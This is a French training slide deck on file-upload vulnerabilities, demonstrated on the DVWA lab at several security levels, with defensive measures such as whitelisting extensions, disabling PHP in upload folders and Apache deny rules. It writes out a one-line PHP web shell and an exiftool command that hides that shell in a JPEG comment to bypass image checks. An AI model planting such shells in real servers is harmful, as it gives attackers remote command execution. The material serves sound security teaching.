-
Vincent Mazenod authoredVincent Mazenod authored
- upload
- Upload de fichier
- Upload de fichier
- Upload / low
- Upload / $_FILES
- Upload / security medium
- Upload / security high
- Upload / security high
- Upload / autres contrôles
- Upload / autres contrôles
- Upload / autres contrôles
- Se préserver
- Se préserver
- via le vhost ou .htaccess
- Se préserver
- via le vhost ou .htaccess
- Se préserver
upload.md 7.52 KiB
upload
Upload de fichier
-
Risque
- Upload de code arbitraire
- Backdoor ou Remote shell
- Upload de code arbitraire
-
Deux problèmes
- filtrage des types de fichiers uploadés
- exposition / exécution des scripts au niveau du répertoire d'upload
Upload de fichier
-
Configurations liées à l'upload à différents endroits
- HTML (côté client)
- PHP (moteur de script)
- Apache (serveur web)
-
Ergonomiquement intéressant pour l'utilisateur
Note:
- MIME Multipurpose Internet Mail Extensions
- pour que les clients mail puissent afficher correctement les PJ
- pas d'upload ... FTP, WebDav (utilise les verbs HTTP)
Upload / low
sudo chown -R www-data /var/www/DVWA/hackable/uploads
Upload d'un fichier bd.php simple
<?php
echo passthru($_REQUEST['cmd']);
- Trouver le répertoire d'upload
- chemins connus dans produits connus
- code source HTML faisant référence au fichier uploadé
../../hackable/uploads/bd.php succesfully uploaded!
Upload / $_FILES
cd /var/www/DVWA/vulnerabilities/upload/
vi source/low.php
print_r($_FILES);
Array (
[uploaded] => Array (
[name] => bd.php
[type] => application/x-php
[tmp_name] => /tmp/phpPU0gay
[error] => 0
[size] => 39
)
)
Upload / security medium
- contrôle de l'entête HTTP Content-Type renvoyé par le navigateur
Upload / security high
-
visionner le "Comment" du jpg avec exiftool +
-
modifier le champs comment with exiftool
exiftool ~/Downloads/kitten.jpg \
-comment="<?php echo passthru(\$_REQUEST['cmd']); __halt_compiler();?>"
Code uploadé :)
Upload / security high
code non exécuté :(
on doit passer par une autre vulnérabilité
ou cp kitten.jpg kitten.php
;)
Upload / autres contrôles
db.php
echo passthru($_REQUEST['cmd'])
Command | Output |
---|---|
$_FILES['uploaded']['type'] | application/x-php |
mime_content_type | text/x-php |
exif_imagetype | null (no image) |
finfo_file | text/x-php |
getimagesize[2] | null (no image) |
Upload / autres contrôles
Command | Output |
---|---|
$_FILES['uploaded']['type'] | image/jpeg |
mime_content_type | image/jpeg |
exif_imagetype | 2 (IMAGETYPE_JPEG) |
finfo_file | image/jpeg |
getimagesize[2] | image/jpeg |
Upload / autres contrôles
Command | Output |
---|---|
$_FILES['uploaded']['type'] | application/x-php |
mime_content_type | image/jpeg |
exif_imagetype | 2 (IMAGETYPE_JPEG) |
finfo_file | image/jpeg |
getimagesize[2] | null (no image) |
Note:
- le .php est indispensable pour exécuter la charge dans la commentaire de l'image
- parler d'exif -> cf le lien la géoloc (sur fb, etc ...)
- On pourrait également avoir une image malicieuse vouée à infecter le client
- autre hisoitre
- difficilement détectable à l'upload
- autre hisoitre
Se préserver
- Filtrer par extension de fichier plutôt que par type MIME
- utiliser des listes blanches plutôt que des listes noires
- un nom de fichier peut contenir des points
- il faut bien prendre l'extension
- c'est ce qui est fait avec security high
Se préserver
désactiver php dans le répertoire d'upload
via le vhost ou .htaccess
php_admin_value engine Off
Note:
- MIME Multipurpose Internet Mail Extensions : pour que les clients mail puissent afficher correctement les PJ
Se préserver
- Ne plus servir le répertoire d'upload via apache
- sortir le répertoire d'upload du dossier servi par apache
- en interdire la lecture avec un htaccess renvoyant une 403 Forbidden
via le vhost ou .htaccess
order deny, allow
deny from all
Se préserver
- Utiliser PHP pour lire les fichier avec readfile
- prendre en charge la génération des en-têtes Content-Type "manuellement"
- igorw/IgorwFileServeBundle
-
download center lite
- permet une meilleure gestion des accès par permission
- accès à la session courante
- permet une meilleure gestion des accès par permission
- prendre en charge la génération des en-têtes Content-Type "manuellement"
Note:
- attention toute la stack Sf2 à chaque image ou asset c'est chaud